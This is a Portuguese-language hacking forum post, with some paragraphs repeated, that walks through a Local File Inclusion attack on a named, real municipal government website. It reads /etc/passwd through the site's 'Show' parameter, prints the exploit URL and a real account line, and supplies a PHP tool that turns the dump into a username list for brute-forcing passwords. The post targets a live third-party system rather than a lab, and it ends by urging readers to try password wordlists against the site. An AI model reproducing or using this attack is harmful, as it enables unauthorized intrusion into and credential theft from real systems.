Em um ataque à força-bruta uma lista 100% válida de usuários (que realmente existam) pode significar a diferença entre se conseguir ou não alguma senha.
Vamos ver agora como obter a lista de usuários do /etc/passwd via LFI e separar apenas as partes que nos interessam de forma simples e rápida.
Este website, no parâmetro (váriavel GET) "Show", é vulnerável a LFI.
Veja:
Obtivemos todo o /etc/passwd. Mas temos 2 problemas:
1. A lista não possui quebra de linha.
Para nos ajudar, desenvolvi esta ferramenta em PHP:
É simples o que ela faz: simplesmente detecta todos os usuários da lista. Copie seu conteúdo e salve no seu servidor local (necessário ter PHP). Abra a ferramenta pelo navegador.
Lembra que abrimos o código-fonte daquela página? Ok, agora digite [Ctrl] + [A] (selecionar tudo, tudo tudo) e [Ctrl] + [C] (copiar). Cole todo o conteúdo (inclusive códigos HTML) dentro da caixa de texto da ferramenta e clique em "Go!".
Aparecerá uma página apenas com a lista de usuários. Copie tudo e pronto, a userslist está pronta.
Isso será útil, por exemplo, para ataques usando a ferramenta distribuída pelo n4sss em seu desafio (para quem passou) e também pelo Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Então, só conseguir uma wordlist para as senhas e ver no que dá.
Até mais!
Vamos ver agora como obter a lista de usuários do /etc/passwd via LFI e separar apenas as partes que nos interessam de forma simples e rápida.
Este website, no parâmetro (váriavel GET) "Show", é vulnerável a LFI.
Código:
http://fatimadosul.ms.gov.br/?Show=noticia.php&index=223
Código:
http://fatimadosul.ms.gov.br/?Show=/etc/passwd
1. A lista não possui quebra de linha.
O HTMLRender entende como quebras de linha em texto normal apenas o "<br>" ou "</p><p>". Assim, como o /etc/passwd não usa essas quebras de linhas (apenas "\n", ou seja, o equivalente ao Enter), e o desenvolvedor não usou Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... (seria inútil), não nos foram exibidas as quebras de linha.
Mas nós queremos as quebras de linha. Então, vamos digitar [Ctrl] + [U] para exibir o código-fonte da página. Ali o /etc/passwd aparece com linhas separadas. Beleza!
2. Cada linha do /etc/passwd possui mais dados além dos usuáriosMas nós queremos as quebras de linha. Então, vamos digitar [Ctrl] + [U] para exibir o código-fonte da página. Ali o /etc/passwd aparece com linhas separadas. Beleza!
Queremos fazer apenas uma lista de usuários. Então, cada linha terá que ter apenas o nome do usuário, e nada mais. Ao contrário, veja o que cada linha nos trás:
Queremos apenas o "fatimadosu", mas isso vai ser resolvida pela tool que vou passar a seguir.
Código:
fatimadosu:x:1410:1410::/home/fatimadosu:/bin/bash
Para nos ajudar, desenvolvi esta ferramenta em PHP:
Código PHP:
<?php
# Passwd2User WhiteCollarGroup
header("Content-type: text/html; charset=UTF-8");
if($_SERVER['REQUEST_METHOD']=="POST") { // se estiver postando
$pwd = $_POST['passwd']; // pego a lista do /etc/passwd
$pwd = explode("\n", $pwd); // e separo pelas linhas
foreach($pwd as $user) { // loop que será executado cada hora com uma linha
if(preg_match("/([a-zA-Z0-9_\-]*):([a-zA-Z0-9_\-]*):([0-9_\-]{0,5}):([0-9_\-]{0,5}):([a-zA-Z0-9_\-\/ ]*):([a-zA-Z0-9_\-\/]*):([a-zA-Z0-9_\-\]*):([a-zA-Z0-9_\-\/]*)/", $user)) { // se for mesmo uma linha válida de /etc/passwd
$user = explode(":", $user); // separo a linha pelos ':' (dois pontos)
$user = $user[0]; // e pego só a primeira parte
echo $user.'<br/>'; // mostro o usuário e salto uma linha
}
}
} else { // se não estiver postando, mostro o formulário
echo 'Cole aqui o conteúdo:
<p>
<form method="post">
<textarea rows="15" cols="60" name="passwd" placeholder="Cole o conteúdo (como código-fonte) da página contendo o /etc/passwd. Ele será automaticamente detectado. '."\n".'Coded by 0KaL"></textarea><br/>
<input type="submit" value="Go!" />
</p>';
}
?>
Lembra que abrimos o código-fonte daquela página? Ok, agora digite [Ctrl] + [A] (selecionar tudo, tudo tudo) e [Ctrl] + [C] (copiar). Cole todo o conteúdo (inclusive códigos HTML) dentro da caixa de texto da ferramenta e clique em "Go!".
Aparecerá uma página apenas com a lista de usuários. Copie tudo e pronto, a userslist está pronta.
Isso será útil, por exemplo, para ataques usando a ferramenta distribuída pelo n4sss em seu desafio (para quem passou) e também pelo Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Então, só conseguir uma wordlist para as senhas e ver no que dá.
Até mais!
Comment